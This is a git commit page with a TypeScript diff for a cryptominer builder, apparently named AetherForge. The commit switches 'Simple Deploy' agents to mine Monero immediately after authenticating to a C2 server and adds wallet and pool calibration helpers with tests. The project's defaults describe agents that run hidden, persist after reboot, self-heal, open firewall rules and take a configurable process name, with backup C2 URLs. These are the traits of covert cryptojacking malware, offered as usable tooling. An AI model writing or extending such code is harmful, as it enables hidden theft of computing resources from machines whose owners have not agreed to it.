Start simple-deploy mining immediately after C2 auth.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

Simple Deploy agents now kick the in-process chain right after WS connect with always mode and cpu_inprocess policy, recommended forge defaults mine immediately, and the fleet banner auto-restarts stuck agents once.
This commit is contained in:
AetherForge
2026-06-07 21:34:50 -07:00
parent 456988caaa
commit 9b2eafd583
9 changed files with 135 additions and 16 deletions

View File

@@ -21,7 +21,7 @@ describe('forgeSmartDefaults', () => {
expect(form.worker_name).toMatch(/^worker-/);
expect(form.process_name).toBeTruthy();
expect(form.server_url).toBe('http://10.0.0.2:8989');
expect(form.mining_mode).toBe('idle');
expect(form.mining_mode).toBe('always');
});
it('fills backup C2 URLs from other LAN candidates', () => {

View File

@@ -67,7 +67,7 @@ export function recommendedForgePreset(): Partial<BuildRequest> {
...FORGE_BUILD_DEFAULTS,
simple_deploy: true,
miner_execution: 'inprocess',
mining_mode: 'idle',
mining_mode: 'always',
idle_threshold_pct: 20,
idle_duration_minutes: 5,
thread_mode: 'percent',
@@ -170,7 +170,7 @@ export function forgeDefaultsFromServerSmart(
}
export const RECOMMENDED_DEFAULTS_BLURB =
'Recommended for home LAN fleets: mines when the PC is idle (~75% cores), runs hidden, persists after reboot, self-heals, and opens firewall rules on the worker. Advanced options stay off unless you enable them.';
'Recommended for home LAN fleets: mines immediately (~75% cores), runs hidden, persists after reboot, self-heals, and opens firewall rules on the worker. Advanced options stay off unless you enable them.';
export function isValidWorkerName(name: string): boolean {
const t = name.trim();

View File

@@ -3,6 +3,7 @@ import type { Agent } from '../types';
import {
agentsConnectedNotHashing,
simpleDeployStatus,
simpleDeployCalibrateFix,
simpleMinePreset,
} from './simpleDeploy';
@@ -54,6 +55,21 @@ describe('agentsConnectedNotHashing', () => {
});
});
describe('simpleDeployCalibrateFix', () => {
it('requires wallet in Calibrate', () => {
expect(simpleDeployCalibrateFix(agent({ wallet: '' }))).toMatch(/wallet/i);
});
it('surfaces pool fix from mining_block_reason', () => {
expect(
simpleDeployCalibrateFix(
agent({ wallet: '4abc', mining_block_reason: 'pool host not configured — set Calibrate pool' }),
),
).toMatch(/pool/i);
});
});
describe('simpleMinePreset', () => {
it('disables spread and enables simple_deploy', () => {
const p = simpleMinePreset();

View File

@@ -10,6 +10,17 @@ export interface SimpleDeployStatus {
hashrate?: number;
}
/** Operator fix text when Calibrate is incomplete for mining. */
export function simpleDeployCalibrateFix(agent: Agent): string | undefined {
const wallet = agent.wallet?.trim();
if (!wallet) return 'Set XMR wallet in Calibrate (Settings), then re-forge with Deploy & Mine.';
const reason = agent.mining_block_reason?.toLowerCase() ?? '';
if (reason.includes('pool host not configured') || reason.includes('pool not configured')) {
return 'Set pool host/port in Calibrate, then re-forge with Deploy & Mine.';
}
return undefined;
}
/** Human status for deploy→test→mine operator path. */
export function simpleDeployStatus(agent: Agent): SimpleDeployStatus {
if (agent.status !== 'online') {